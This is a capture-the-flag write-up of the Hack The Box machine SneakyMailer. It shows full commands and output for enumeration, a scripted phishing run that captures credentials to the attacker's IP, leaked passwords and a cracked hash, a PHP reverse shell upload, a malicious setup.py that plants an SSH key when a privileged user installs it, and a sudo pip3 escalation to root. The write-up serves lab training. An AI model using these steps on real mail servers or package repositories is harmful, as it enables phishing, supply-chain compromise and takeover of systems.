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Hack The Box - SneakyMailer

https://raw.githubusercontent.com/ghostbyt3/ghostbyt3.github.io/master/public/static/images/htb-sneakymailer/Untitled.png

Link: https://www.hackthebox.eu/home/machines/profile/262

Let's Begin with our Initial Nmap Scan.

Nmap Scan Results

PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      vsftpd 3.0.3
22/tcp   open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
|   256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
|_  256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
25/tcp   open  smtp     Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, 
80/tcp   open  http     nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Employee - Dashboard
143/tcp  open  imap     
(released 2018)
|_imap-capabilities: UIDPLUS THREAD=ORDEREDSUBJECT STARTTLS IDLE completed QUOTA IMAP4rev1 SORT OK CAPABILITY THREAD=REFERENCES UTF8=ACCEPTA0001 CHILDREN ACL2=UNION NAMESPACE ENABLE ACL
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
993/tcp  open  ssl/imap Courier Imapd (released 2018)
|_imap-capabilities: UIDPLUS THREAD=ORDEREDSUBJECT IDLE completed QUOTA IMAP4rev1 SORT OK CAPABILITY THREAD=REFERENCES UTF8=ACCEPTA0001 ENABLE CHILDREN AUTH=PLAIN NAMESPACE ACL2=UNION ACL
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
8080/tcp open  http     nginx 1.14.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.32 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 3.1 - 3.2 (92%), Linux 3.11 (92%), Linux 3.2 - 4.9 (92%), Linux 3.5 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host:  debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

HTTP Enumeration

When I tried to access the webpage using IP it redirects me to sneakycorp.htb so added it to /etc/hosts

https://raw.githubusercontent.com/ghostbyt3/ghostbyt3.github.io/master/public/static/images/htb-sneakymailer/Untitled%201.png

It just seems like an normal webpage

I tried subdomain enumeration and got another one. Added that too.

root@kali:~# gobuster vhost -w /usr/share/seclists/Discovery/DNS/shubs-subdomains.txt -u http://sneakycorp.htb/
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:          http://sneakycorp.htb/
[+] Threads:      10
[+] Wordlist:     /usr/share/seclists/Discovery/DNS/shubs-subdomains.txt
[+] User Agent:   gobuster/3.0.1
[+] Timeout:      10s
===============================================================
2020/07/12 10:10:50 Starting gobuster
===============================================================
Found: dev.sneakycorp.htb (Status: 200) [Size: 13742]

And this seems the same too but there is a register option.

https://raw.githubusercontent.com/ghostbyt3/ghostbyt3.github.io/master/public/static/images/htb-sneakymailer/Untitled%202.png

This looks just a dummy one.

https://raw.githubusercontent.com/ghostbyt3/ghostbyt3.github.io/master/public/static/images/htb-sneakymailer/Untitled%203.png

We Know Port 8080 is open and also running nginx so I tried to find anyother subdomain there and got another one.

root@kali:~# gobuster vhost -w /usr/share/seclists/Discovery/DNS/shubs-subdomains.txt -u http://sneakycorp.htb:8080
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:          http://sneakycorp.htb:8080
[+] Threads:      10
[+] Wordlist:     /usr/share/seclists/Discovery/DNS/shubs-subdomains.txt
[+] User Agent:   gobuster/3.0.1
[+] Timeout:      10s
===============================================================
2020/07/12 13:11:51 Starting gobuster
===============================================================
Found: pypi.sneakycorp.htb:8080 (Status: 200) [Size: 1017]

So its running pypiserver and when I tried to access /simple or /package it asks me for password.

https://raw.githubusercontent.com/ghostbyt3/ghostbyt3.github.io/master/public/static/images/htb-sneakymailer/Untitled%204.png

Another Dead End.

Phishing Attack

Since we found lot of emails from team.php I created the wordlist of it

curl http://sneakycorp.htb/team.php -o team.php
****c**at team.php | grep @sneakymailer.htb | awk -F"[td](td)" '{print $2}' | awk -F"[/td](/td)" '{print $1}' > mail.txt**

I decided to send them mails, for that we can use telnet too but I want to automate the stuff, so I created a quick bash script. Using swaks tool I gonna do this.

Swaks is a featureful, flexible, scriptable, transaction-oriented SMTP tool

Started the script in one terminal and nc listening on another one.

for E in `cat /root/CTF/HTB/Boxes/SneakyMailer/mail.txt`
do
     swaks --to $E --from carastevens@sneakymailer.htb --data 'Subject: Password Needed\n\nhttp://10.10.14.20'
     [ $? -ne 0 ] && echo $E
done

I got a hit and it contains user paulbyrd password.

https://raw.githubusercontent.com/ghostbyt3/ghostbyt3.github.io/master/public/static/images/htb-sneakymailer/Untitled%205.png

Its URL encoded so I decoded to get the clear text.

https://raw.githubusercontent.com/ghostbyt3/ghostbyt3.github.io/master/public/static/images/htb-sneakymailer/Untitled%206.png

I tried in pypi with this, didn't worked so I decided to login the mail.

paulbyrd : ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

Getting a Shell

Evolution is a good tool to check the mail and we know IMAP (Internet Message Access Protocol) is open so I logged in with the creds we got.

https://raw.githubusercontent.com/ghostbyt3/ghostbyt3.github.io/master/public/static/images/htb-sneakymailer/Untitled%207.png

There is 2 Message, One is about Pypi testing and another one contains developer password.

https://raw.githubusercontent.com/ghostbyt3/ghostbyt3.github.io/master/public/static/images/htb-sneakymailer/Untitled%208.png

Again I tried with Pypi it failed so I switched to FTP.

developer : m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

And It worked, Im in and there I can see dev folder maybe its connected to dev.sneakycorp.htb so I uploaded a php reverse shell in it.

https://raw.githubusercontent.com/ghostbyt3/ghostbyt3.github.io/master/public/static/images/htb-sneakymailer/Untitled%209.png

And Tried to access it in from the web and I got shell as www-data

https://raw.githubusercontent.com/ghostbyt3/ghostbyt3.github.io/master/public/static/images/htb-sneakymailer/Untitled%2010.png

Getting User Shell

We already know there is Pypi server running in pypi.sneakycorp.htb, so it must have the web directory.

What is Pypi?

The Python Package Index, abbreviated as PyPI and also known as the Cheese Shop, is the official third-party software repository for Python. Some package managers, including pip, use PyPI as the default source for packages and their dependencies

Like always I started checking all directories and found /var/www/pypi.sneakycorp.htb, It contains Pypi hash.

$ ls -la
ls -la
total 20
drwxr-xr-x 4 root root     4096 May 15 14:29 .
drwxr-xr-x 6 root root     4096 May 14 18:25 ..
-rw-r--r-- 1 root root       43 May 15 14:29 .htpasswd
drwxrwx--- 2 root pypi-pkg 4096 Jul 12 09:37 packages
drwxr-xr-x 6 root pypi     4096 May 14 18:25 venv
$ cat .htpasswd
cat .htpasswd
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/

Checking the running process, I found that low user is running some Install Modules, so low using is handling the Pypi.

www-data@sneakymailer:/$ ps auxww | grep low
ps auxww | grep low
low       1076  0.0  0.5  29952 20912 ?        Ss   Jan02   0:46 /home/low/venv/bin/python /opt/scripts/low/install-modules.py
www-data 17701  0.0  0.0   3084   884 pts/0    S+   08:02   0:00 grep low

Cracked the hash which we just found from .htpasswd using John

root@kali:~/CTF/HTB/Boxes/SneakyMailer# john --wordlist=/usr/share/wordlists/rockyou.txt hash 
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
soufianeelhaoui  (?)
1g 0:00:01:15 DONE (2020-07-12 19:11) 0.01316g/s 47048p/s 47048c/s 47048C/s soul17soul17..souderton16
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Since user low running it, I decided to create a python package and upload it

https://www.linode.com/docs/applications/project-management/how-to-create-a-private-python-package-repository/

Creating setup.py

setup.py is the build script for setuptools. It tells setuptools about your package (such as the name and version) as well as which code files to include.

Here I add my pub key to write in /home/low/.ssh/authorized_keys

import setuptools

try:
    with open("/home/low/.ssh/authorized_keys", "a") as f:
        f.write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCVimm0/eOqfQP8vd/1YBU3SucOEpLM7Png9A1d0Po2slhQY2rbrxdKKDRVG1qm7TaXdq0KSoNrDzCYmPjLomKQcuLLlt0HDveNja3/ZhsZyotIr4NUU8vx545X2ZW2CPJWzJo1AllJtsLxGKjxWnbzqcW9QZh77QkCwCfApYWEXzsMEFWplUmRRNqS5uM5380n4YY/Wn1Gu6IqGuIu2nEE594BGB7q1k+jliosL+x8u2qLaOKlifRduqmHcW0eypD3Ye4i8UqlZgKMVUbTcYHH3GjpEhLNQNSsOyHxKEp3u7skvdyQFheNGuYKcS6QFskYG2WeOwizyqhlxnNAZUDfn7oH01zBEMqt9/1BZGBZinuUKlD5mFpY3h6GAnlC3tlAvQ0hFUnk8sovR6f1o+4xt9pkvh8+cRj3VGWq219g8S3T4f+2nXKYkuNnTVL7JttfA+e7a87wwljhcEe+a8Aoaa9KYOIFlHIku2cT2nrw7f1Y7Rr+TK75ET5ouiCta5s= root@kali")
        f.close()

except Exception as e:
    pass

setuptools.setup(
    name="wolf", # Replace with your own username
    version="0.0.1",
    author="wolf",
    author_email="wolf@sneakymailer.htb",
    description="idk",
    long_description="idk",
    long_description_content_type="text/markdown",
    url="https://github.com/pypa/sampleproject",
    packages=setuptools.find_packages(),
    classifiers=[
        "Programming Language :: Python :: 3",
        "License :: OSI Approved :: MIT License",
        "Operating System :: OS Independent",
    ],
)

Creating .pypirc

.pypirc file is used to simplify the authentication process of uploading a package to the server. It had the most of the things predefined, the user and password and the host already defined.

It should be on $HOME dir of user who is pushing the package to the server

.pypirc

[distutils]
index-servers =
    local

[local]
repository = http://pypi.sneakycorp.htb:8080/
username = pypi
password = soufianeelhaoui

I moved to /tmp folder and create folder called pwn and make that as HOME Directory. Now When I try to install the setup.py

$ export HOME=$(pwd)
$ env
env
USER=www-data
HOME=/tmp/pwn
OLDPWD=/tmp
PWD=/tmp/pwn
$ ls -la
ls -la
total 16
drwxrwxrwx  2 www-data www-data 4096 Jul 12 10:52 .
drwxrwxrwt 11 root     root     4096 Jul 12 10:52 ..
-rw-rw-rw-  1 www-data www-data  135 Jul 12 10:50 .pypirc
-rw-rw-rw-  1 www-data www-data 1230 Jul 12 10:40 setup.py
$ python3 setup.py sdist upload -r local
python3 setup.py sdist upload -r local
running sdist
running egg_info
creating wolf.egg-info
writing wolf.egg-info/PKG-INFO
writing dependency_links to wolf.egg-info/dependency_links.txt
writing top-level names to wolf.egg-info/top_level.txt
writing manifest file 'wolf.egg-info/SOURCES.txt'
reading manifest file 'wolf.egg-info/SOURCES.txt'
writing manifest file 'wolf.egg-info/SOURCES.txt'
warning: sdist: standard file not found: should have one of README, README.rst, README.txt, README.md

running check
creating wolf-0.0.1
creating wolf-0.0.1/wolf.egg-info
copying files to wolf-0.0.1...
copying setup.py -> wolf-0.0.1
copying wolf.egg-info/PKG-INFO -> wolf-0.0.1/wolf.egg-info
copying wolf.egg-info/SOURCES.txt -> wolf-0.0.1/wolf.egg-info
copying wolf.egg-info/dependency_links.txt -> wolf-0.0.1/wolf.egg-info
copying wolf.egg-info/top_level.txt -> wolf-0.0.1/wolf.egg-info
Writing wolf-0.0.1/setup.cfg
creating dist
Creating tar archive
removing 'wolf-0.0.1' (and everything under it)
running upload
Submitting dist/wolf-0.0.1.tar.gz to http://pypi.sneakycorp.htb:8080/
Server response (200): OK
WARNING: Uploading via this command is deprecated, use twine to upload instead (https://pypi.org/p/twine/)

Server Response (200): OK All Good then.

Using the Private key I logged in as low and did sudo -l

It seems I can run pip3 as root without password.

low@sneakymailer:~$ sudo -l
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Matching Defaults entries for low on sneakymailer:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User low may run the following commands on sneakymailer:
    (root) NOPASSWD: /usr/bin/pip3

Privilege Escalation

Checked GTFObins

https://gtfobins.github.io/gtfobins/pip/#sudo

By following that, It spawn shell as root

low@sneakymailer:~$ TF=$(mktemp -d)
low@sneakymailer:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh [$(tty) ]($(tty) )$(tty) 2>$(tty)')" > $TF/setup.py
low@sneakymailer:~$ sudo pip3 install $TF
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Processing /tmp/tmp.PrKnMj0dSd
# whoami
root
# hostname; id; whoami
sneakymailer
uid=0(root) gid=0(root) groups=0(root)
root

We own the box.